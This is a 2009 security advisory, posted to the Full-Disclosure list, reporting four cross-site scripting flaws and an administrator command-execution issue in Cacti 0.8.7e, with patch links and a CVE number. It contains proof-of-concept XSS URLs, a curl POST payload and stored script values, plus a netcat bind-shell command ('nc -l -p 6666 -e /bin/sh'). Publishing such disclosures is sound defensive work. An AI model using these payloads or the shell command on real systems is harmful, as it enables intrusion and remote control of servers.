Home / exploits cacti087e-xss.txt
Posted on 27 November 2009
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Cacti 0.8.7e and earlier versions are affected by multiple security issues. Issues 1-4 are cross site scripting issues, issue 5 is a priviledge escalation issue. 1. XSS 1 A HTTP GET request against the following URL will, on a web browser with Javascript support, cause a dialog box saying '1' to be displayed: http://CACTIHOST/graph.php?action=zoom&local_graph_id=1&graph_end=1%27%20style=visibility:hidden%3E%3Cscript%3Ealert(1)%3C/script%3E%3Cx%20y=%27 This vulnerability is only exploitable if the victim is allowed to view graphs. This will be true if the victim has previously authenticated against Cacti or if both the guest user has been activated (default: disabled) and the graph view permission was set to 'guest' (default: 'No User'). This vulnerability was tested with Firefox 3.0.6. The Cacti group provides a patch to fix this vulnerability: http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch 2. XSS 2 The following curl invocation will generate a HTTP POST request against http://CACTIHOST/graph_view.php?action=tree&tree_id=1&leaf_id=7&select_first=true with an 'application/x-www-form-urlencoded' content type HTTP body part containing date1=%27%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3Cx+y%3D%27' Curl will write the resulting output to a file named poc.html. > curl -d 'date1=%27%3E%3Cscript%3Ealert%282%29%3C%2Fscript%3E%3Cx+y%3D%27' 'http://CACTIHOST/graph_view.php?action=tree&tree_id=1&leaf_id=7&select_first=true' > poc.html When this file is loaded and rendered by a web browser with Javascript support, this will cause a dialog box saying '2' to be displayed. This vulnerability is only exploitable if the victim is allowed to view graphs. This will be true if the victim has previously authenticated against Cacti or if both the guest user has been activated (default: disabled) and the graph view permission was set to 'guest' (default: 'No User'). The Cacti group provides a patch to fix this vulnerability: http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch 3. XSS 3 If an attacker or the victim has permission to modify the graph display settings via graph_settings.php, the attacker is able to persistently inject javascript code via the 'page_refresh' and 'default_dual_pane_width' parameters. Setting 'page_refresh' to the following value will, on any consecutive visitors' web browser with Javascript support, cause a dialog box saying '3' to be displayed: 300'><script>alert(3)</script><x y=' Setting 'default_dual_pane_width' to the following value will, on any consecutive visitors' web browser with Javascript support, cause a dialog box saying '3' to be displayed: 200"><script>alert(3)</script><x y=" The Cacti group provides a patch to fix this vulnerability: http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch 4. XSS 4 A HTTP GET request against the following URL will, on a web browser with Javascript support, cause a dialog box saying '4' to be displayed: > > http://CACTIHOST/graph.php?action=properties&local_graph_id=201&rra_id=0&view_type=tree&graph_start=%3C/pre%3E%3Cscript%3Ealert(4)%3C/script%3E%3Cpre%3E This vulnerability is only exploitable if the victim is allowed to view graphs. This will be true if the victim has previously authenticated against Cacti or if both the guest user has been activated (default: disabled) and the graph view permission was set to 'guest' (default: 'No User'). Alternatively, a similar injection can be achieved, if an attacker or his victim has permission to modify the graph display settings via graph_settings.php. If so, the attacker is able to persistently inject javascript code via the 'title_size', 'legend_size', 'axis_size' and 'unit_size' parameters. Setting any of these parameters to the following value will, on any consecutive visitors' web browser with Javascript support, cause a dialog box saying '4' to be displayed: 8</pre><script>alert(4)</script><pre> This vulnerability was tested with Firefox 3.0.6 The Cacti group provides a patch to fix this vulnerability: http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch 5. Priviledge escalation Finally, due to the permissive way the web interface allows Cacti to be configured, a cacti administrator is also able to execute arbitrary commands on the system as the user the Cacti polling mechanism runs as (usually a non-priviledged user). For example, it is possible to successfully spawn (and connect to) a backdoor/remote shell on the Cacti system by changing the "Data Input Method" for "Linux - Get Memory Usage". Setting "Input String" to nohup nc -l -p 6666 -n -e /bin/sh & would spawn a remotely accessible shell whenever this handler was called (every couple of minutes by default on my Debian test system). Cacti developers say: > There is no effective way to fix the data input method without breaking Cacti. It will be reviewed for the release of 0.8.8. The XSS issues are currently tracked as CVE-2009-4032 (additional CVEs may or may not be assigned), issue 5 has not been tracked so far (to my knowledge). -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.10 (GNU/Linux) iEYEAREKAAYFAksOFWYACgkQn6GkvSd/Bgwb0QCfZu7dWpBE7FSeds0jeFa1NmzN q44An3dl2cZgU/LRpZSjYpuqbo2Ukzbe =yeNz -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
